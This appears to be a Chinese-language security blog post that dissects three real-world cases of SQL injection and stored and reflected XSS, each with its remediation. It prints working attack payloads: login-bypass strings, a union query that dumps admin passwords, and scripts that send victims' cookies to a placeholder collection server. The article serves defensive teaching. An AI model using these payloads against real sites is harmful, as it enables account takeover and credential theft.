半夜两点收到告警短信,说是某业务后台的登录接口出现大量异常请求。我打开日志一看,一排排admin' or '1'='1和admin' --整整齐齐,就像有人在拿着字典挨个试。那会儿我就知道,又有人盯上这个老项目的登录接口了。这类事情干得多了以后,我越来越觉得所谓的"黑客套路",本质就是利用开发者偷懒留下的习惯——字符串拼接、不过滤输入、不转义输出。SQL注入和XSS,恰好是这两类问题的典型代表。这篇就用我实际处理过的三个案例,把这两种攻击从头到尾拆一遍,看完你就能明白攻击者是怎么一步步"套路"你的网站,也知道该从哪几个位置去堵。
文章适合谁看?写后端接口的同学、写前端页面的同学,以及刚接触安全测试的新人。不需要你有很深的渗透基础,只需要你写过代码、见过接口。我会把三个案例的完整链路都讲清楚,包括当时攻击者发的包长什么样、为什么它能生效、以及我们最后是怎么修的。
1. SQL注入为什么屡禁不止:先看根子上的原因
1.1 一个引号引发的"数据库裸奔"
SQL注入的核心可以浓缩成一句话:开发者把用户输入当成SQL代码执行了。正常情况下,用户输入应该只是数据,比如用户名、密码、商品ID,它们应该被放进数据库查询的"值"的位置。但很多老代码喜欢用字符串拼接的方式组装SQL,这就相当于把用户输入直接插进了命令本身。
拿登录功能举个例子,假设有这么一个查询:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'开发者在代码里可能是这么拼的(PHP写法):
$sql = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";如果我在用户名框里输入admin' --,注意那个单引号和注释符,最终拼出来的SQL就变成了:
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456'在MySQL里,--后面一直到行尾都是注释,数据库实际执行的是:
SELECT * FROM users WHERE username = 'admin'只要存在用户名为admin的账号,这条查询就会被执行,而且根本不校验密码。这是最原始的"万能密码"套路。为什么能成?因为单引号闭合了SQL语句里的字符串,而注释符把原来的其他条件全部"闭嘴"了。
1.2 从开发者的惯性操作看漏洞成因
你可能会问,都2025年了,还有人这么写?说实话,我在实际项目里见到的最多的并不是这种裸写拼接的,而是框架里用了错误的查询方式。比如用Laravel或者ThinkPHP自带的查询构造器,大部分情况是安全的,但只要写了whereRaw、orderRaw,或者为了实现某种灵活的排序、筛选,直接把前端传过来的字段名拼进SQL,漏洞就回来了。
还有一个高频场景是导出功能。很多后台的导出Excel逻辑,都是把筛选条件拼进一个原生SQL里,因为选出来的字段特别多,开发懒得用ORM慢慢写。这种地方用户输入一旦能被传到SQL里,基本就是必炸。
我总结下来,SQL注入屡禁不止的原因有三个:
- 存量代码太多。老项目跑了好多年,没人敢动核心查询逻辑,怕改出性能问题或者业务异常。
- 框架让很多人放松了警惕。觉得用了ORM就万事大吉,结果在某个角落写了原生SQL还不自知。
- 缺乏自动化检测。代码评审靠肉眼,安全测试靠一年一次的外包扫描,中间大量的时间窗口全是裸奔。
理解了这个根子上的原因,再去看下面的案例,你会更容易跟上思路。
2. 案例一:后台登录接口被"万能密码"通关
2.1 场景还原:一个老管理后台的登录页
当事人是某家公司的内部运营管理系统,一个存在了七八年的PHP项目。后台登录页长得很朴素,就一个用户名框、一个密码框、一个验证码。因为业务量不大,一直没有专门的安全人员,直到那次疑似被入侵才把日志翻出来。
登录接口接到一个不寻常的请求,用户名字段里传的内容是admin' or 1=1 --。我当时看了一眼就大致定位了问题——这个项目的登录代码十有八九是字符串拼接。这是攻击者第一次试探,如果服务端返回了登录成功的跳转,他后面就会开始用union提取数据;如果没成功,他也会根据报错信息判断SQL语法错误类型,继续调整。
2.2 攻击者的完整试错过程
这里把当时的攻击路径还原一下。第一步,攻击者先发了一个正常的请求做基线;第二步,发一个单引号,看数据库报不报错;第三步,用注释符和恒真条件。
按时间线看是这样的:
| 步骤 | 请求内容(用户名部分) | 预期观察结果 |
|---|---|---|
| 基线探测 | admin | 正常返回密码错误 |
| 报错探测 | admin' | 如果返回SQL语法错误,说明拼接漏洞存在 |
| 恒真绕过 | admin' or 1=1 -- | 如果直接放行,说明完全没过滤 |
| 字段数探测 | admin' order by 1 --到admin' order by 10 -- | 通过报错差异确定查询字段数量 |
| 数据提取 | admin' union select ... -- | 拖出数据库的用户名密码哈希 |
第三步成功之后,攻击者已经能登录后台了。第四步开始他目的是确定SQL语句有几个字段,因为union查询要求前后字段数一致,多了少了都会报错。第五步就是经典的union注入拖库。
2.3 这段代码到底丑在哪
事后把登录代码拉出来看,问题一目了然:
$res = $db->query("SELECT * FROM admins WHERE username = '{$_POST['username']}' AND password = '{$_POST['password']}'");丑点有两处:第一,用户输入直接拼SQL,压根没走预处理;第二,密码居然直接明文比对。第二点意味着,就算攻击者用union注入把密码字段拖出来,拿到的也是明文密码,连撞库破解的步骤都省了。
我们的修复方案做了三层:
- 立即止损:下线该后台,强制所有管理员改密码,开启两步验证。
- SQL全部改参数化:把登录、查询、导出所有涉及用户输入的地方,全部改成预处理语句,禁止字符串拼接。
- 日志监控:对登录接口增加异常行为告警。比如连续多次出现SQL关键字,直接封IP并通知安全负责人。
参数化之后的代码长这样:
$stmt = $db->prepare("SELECT * FROM admins WHERE username = ? AND password = ?"); $stmt->execute([$_POST['username'], hash('sha256', $_POST['password'])]);这段代码看起来平平无奇,但安全性完全不同:用户输入只会被当作数据传给数据库,数据库不会再把它解释成命令的一部分。预处理是防御SQL注入最有效的办法,没有之一。
3. 案例二:一条商品链接背后的"隐形数据通道"
3.1 场景:一个URL参数引发的数据泄露
第二个案例是某电商网站的旧版商品列表页。它的筛选逻辑是把分类ID放在URL里,比如/list.php?cid=5,后端根据这个ID去查该分类下的商品。看起来人畜无害,但问题还是出在拼接。
攻击者在这个参数上做了手脚。他没有用普通数字,而是发了这么一串:
/list.php?cid=-1 union select 1,2,username,password from admin服务端收到cid后,拼出来的SQL大致是:
SELECT id, name, price FROM products WHERE category_id = -1 union select 1,2,username,password from admin前面的category_id = -1查不到任何数据,但union关键字把后面的查询结果合并进来了。如果页面把查询结果循环渲染出来,输出到屏幕上就等于把admin表的用户名和密码直接打印到了页面上。这就是经典的union注入。
3.2 为什么POST请求和框架也拦不住
有人可能会觉得,POST请求比GET安全。实际上攻击手法和请求方式没多大关系,只要输入能到SQL语句里,GET和POST都一样。还有人说"我们用了XX框架,自带防注入",这话也只对了一半。框架默认防,但whereRaw这类接口一旦出现,防护就形同虚设。
这个案例里最值得反思的,不是攻击者用了多高级的技巧,而是一个只读接口竟然能访问到admin表。这说明后端的数据库账号权限太大。普通的商品列表查询,理论上只需要SELECT权限,而且范围应该限定在products表。结果实际用的数据库账号是root,能查全库。
后来我们做的修复是:
- 把SQL语句全部参数化,这个不多说。
- 数据库账号最小化授权。前台查询只用只读账号,且只授权给业务需要的表。
- 对所有传入参数做类型校验。cid必须是纯数字,写法很简单:
if (!ctype_digit($_GET['cid'])) { exit('invalid parameter'); }类型校验这招在对付数字型注入时便宜又好用,因为数字型参数本来就不该有字母和特殊符号。
3.3 从"漏"到"补"的完整链条
攻击者这里利用的,其实是三层失误叠加:第一层,SQL拼接让注入成为可能;第二层,查询结果的展示区域没有区分"哪个字段来自用户数据",于是union后面的admin表数据被当作普通商品数据渲染出来;第三层,数据库权限过大,导致攻击者能查任意表。
三层环环相扣。所以修的时候不能只堵一层,而是每一层都要堵。这个思路在后面的XSS案例里同样适用。
4. XSS的"套路"和SQL注入完全不同:存储型XSS案例
4.1 一个评论区里的神秘代码
前面两个案例是SQL注入,攻击目标是后端数据库。XSS则是一个完全不同的物种:它攻击的是浏览器里的其他用户。
第三个案例是一个带有用户评论功能的资讯站点。评论区可以输入昵称和留言内容,提交后展示在页面上。一切看起来都很正常,直到某天半夜有用户说"我的账号好像被盗了"。
排查后发现,罪魁祸首是一条评论。这条评论长这样:
<script> var img = new Image(); img.src = 'http://某收集服务器/steal?cookie=' + document.cookie; </script>因为评论区把用户提交的内容原样输出了,没有任何过滤和转义,任何访问这条评论页面的人,浏览器都会执行这段脚本,然后把自己当前的Cookie发送到攻击者的服务器。
这就是存储型XSS,恶意代码被存在了服务器上,所有访问者都会被"无差别攻击"。SQL注入骗的是数据库,XSS骗的是浏览器,这个区别要先记住。
4.2 从弹窗到Cookie劫持的升级路线
很多人第一次接触XSS是在学习平台上弹了个alert窗口,感觉像恶作剧。但实际上,XSS能干的事情远比弹窗严重:
- 窃取Cookie:拿到会话ID,直接伪装成受害者登录。
- 模拟操作:以受害者身份发帖、转账、改密码。
- 钓鱼:在正常页面里插入伪造的登录框,诱导用户输入账号密码。
- 挖矿:借助访问者的CPU算力跑加密货币脚本。
攻击者并不需要针对某个特定网站开发一套复杂的漏洞利用框架。很多时候,从注入一个脚本到拿到受害者的会话,只需要十几分钟。评论区这个案例里,攻击者压根没费什么功夫——他只是一段脚本提交上去,然后蹲在收集服务器上看Cookie慢慢多起来。
4.3 存储型、反射型、DOM型,三种类型的核心差异
这里补一张对比表,方便后面理解。
| 类型 | 恶意代码存在位置 | 触发时机 | 典型场景 |
|---|---|---|---|
| 存储型 | 服务器数据库 | 任意用户访问含恶意内容的页面 | 评论区、个人签名、商品留言 |
| 反射型 | 客户端请求的URL中 | 用户点击包含恶意参数的链接 | 搜索框、页面跳转 |
| DOM型 | 前端JavaScript变量中 | 浏览器执行JS时动态修改页面 | 前端路由、URL hash处理 |
三种类型最终效果都一样——在受害者的浏览器里执行攻击者的脚本,区别只是恶意代码从哪里来。评论区这个案例属于存储型,因为它被存在了服务端。
修复存储型XSS,第一件事是把所有用户可输入的地方全部摸出来,评论、昵称、签名、私信等,一个都不能漏。然后统一做输入过滤和输出转义。输入过滤是指对script、iframe等危险标签做白名单拦截;输出转义是把<>&"'等字符转换成HTML实体,让浏览器把它们当成纯文本而不是标签。
PHP侧的输出可以这样处理:
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');这行代码能将<script>渲染成用户可见但不可执行的文本。同时给Cookie加上HttpOnly标记,让JavaScript永远读不到Cookie:
setcookie('session_id', $sessionId, ['httponly' => true, 'secure' => true, 'samesite' => 'Lax']);HttpOnly这个属性是防XSS窃取会话的最后一道防线。即使攻击者成功注入脚本,document.cookie也拿不到会话Cookie,攻击链就被砍断了一大截。
5. 案例三:搜索框里的反向链接偷渡
5.1 一个搜索框怎么变成了"钓鱼开关"
第三个案例是个反射型XSS。某网站的搜索功能,用户在搜索框输入关键字后,页面会显示"您搜索的是:XXX"。这个XXX被直接回显到了页面HTML里,没有做任何转义。
攻击者构造了一个恶意链接:
/search.php?keyword=<script>document.location='http://某收集服务器/?'+document.cookie</script>然后把链接伪装成正常URL发给受害者。受害者点击之后,浏览器先请求目标网站,目标网站把keyword参数的值原样输出到HTML里,浏览器解析时发现这是一段脚本,直接执行,受害者的Cookie就被送到了指定服务器。
这就是反射型XSS。它和存储型的区别是,恶意代码没有存在目标网站的数据库里,而是存在于URL链接中,必须诱导受害者点那条特制链接才能触发。它更像一个"一次性陷阱",而不是存储型那样"人人过路人人中招"。
5.2 如何确认是反射型XSS并做修复
排查逻辑比想象中的简单。我在本地把搜索接口的响应打印出来看了一眼,发现搜索关键词出现在了这段HTML里:
<p>您搜索的是:<strong>【这里回显了关键词】</strong></p>关键词是什么,这里就原样拼什么。我输入<img src=x onerror=alert(1)>,页面执行弹窗,基本就实锤了。攻击面很明确,就是搜索回显这里缺少HTML上下文感知的编码。
修复方法和存储型类似,输出到HTML值的位置需要做HTML实体编码。不同的输出位置要用不同的编码方式,如果输出到JavaScript字符串里,要用\uXXXX这类JavaScript转义;如果输出到HTML属性里,要做属性转义。这个细节很多人会忽略——只做了HTML实体编码,却没有按输出上下文区分,结果在某些位置依然能绕过。
5.3 数据回传的真相:一个"撑伞"的比喻
XSS数据回传的原理,用个小比喻最好懂:攻击者的脚本相当于你在公共场合撑开一把带摄像头的伞。受害者路过时看热闹,伞上的摄像头就把受害者的脸拍下来传回给攻击者。XSS脚本想做的事,就是撑开这么一把伞,然后守株待兔。
理解了这个逻辑,你就能明白为什么XSS防御的核心不在于"过滤用户输入里的脚本",而在于"让浏览器不把用户输入当脚本执行"。过滤只是手段,上下文安全的输出编码才是本质。
后面我给那个搜索功能加了一个统一的输出转义函数,并且上线前用自动化工具把全站所有渲染用户输入的地方扫了一遍。这类问题归根结底就是一句话:用户输入默认不可信,输出位置默认要编码。
6. 修完三个漏洞之后,我总结的防御思路
6.1 输入侧:能白名单就别黑名单
很多人一开始做防护时习惯用黑名单,比如把select、union、script、onerror这些关键字拉黑。这种做法看起来很爽,但实际效果很有限。原因很简单:黑名单永远追不上攻击者的变形技巧。
SQL注入里的等价替换一堆,1=1可以写成1=2 or 2=1,注释符有--、#、/* */。XSS里的编码绕过更是花样百出,<script>可以被HTML实体、URL编码、Unicode编码换着法子变形。你用黑名单拦了十个,攻击者能变出第十一个。
正确的方向是白名单思维:
- 数字参数就校验纯数字,用类型判断或正则。
- 枚举参数就校验必须在预设的集合里。
- 文本参数不好完全限制,但可以用长度上限加格式约束。
- 输出侧统一交给转义函数,不在输入侧做无谓的过滤,以防过滤规则被绕过之后反而产生二次编码问题。
6.2 输出侧:输出编码的上下文决定安全
XSS的修复之所以比SQL注入更容易出错,是因为"输出编码"这四个字看起来很简单,实际却非常依赖输出位置。同一个用户输入,输出在HTML标签中间是一种编法,输出在HTML属性里是另一种编法,输出在<script>标签里又是第三种编法。
很多被XSS二次绕过的地方,都是因为开发者只调用了一次htmlspecialchars,就把同一个值用在所有输出位置。比如把用户输入先做了HTML实体编码,结果这个编码后的字符串又被拿去拼进了JavaScript代码,攻击者可以利用实体编码与JavaScript解码之间的差异重新构造可执行代码。
我的建议是,把输出编码这件事下沉到模板层,每个输出位置必须明确声明自己的上下文类型,由框架帮我们选对编码规则。前端框架如果不做任何处理直接渲染v-html或dangerouslySetInnerHTML,等同于把"默认安全"的防线亲手拆掉,这类接口应该收进代码评审的红线清单。
6.3 人的因素:安全意识比技术更值钱
三个案例看下来,没有一个用的是多高明的手段,全都是利用开发者偷懒留下的习惯。登录接口用字符串拼接,是懒得写预处理语句;商品查询给了数据库最高权限,是懒得做最小授权;评论区原样输出用户内容,是没想到浏览器会把它当代码执行。
技术方案再多,如果开发者没有形成条件反射——"用户输入不可信,输出位置要编码"——漏洞还是会换个马甲回来。后来我们团队做了一个很小的改进,效果出奇好:把OWASP Top 10的常见漏洞整理成两页纸的案例版检查清单,挂在每次发版的checklist里。不用讲长篇大论,把真实攻击截胡的案例摆出来,开发者自然就理解了。
安全测试上,我建议每个项目至少能跑一遍自动化扫描器。SQL注入和XSS这两类漏洞,自动化工具的检出率其实很高,因为套路固定、特征明显。重点不是扫描器有没有,而是扫描器跑出来的报告有没有人跟进。很多团队把扫描结果丢给开发就不管了,然后下次上线又是同样的问题。
最后说一个我在三个案例里反复验证过的经验:去看日志比去看代码更能发现安全问题。很多漏洞不是被扫描器发现的,而是运维人员在日志里看到了一串奇怪字符,顺着排查追出来的。把主要接口的入参日志留全,定期翻一翻,你会发现攻击者的试探痕迹往往比想象中明显得多——那些' or 1=1 --的痕迹,安静地躺在日志里,等一个愿意翻开它的人。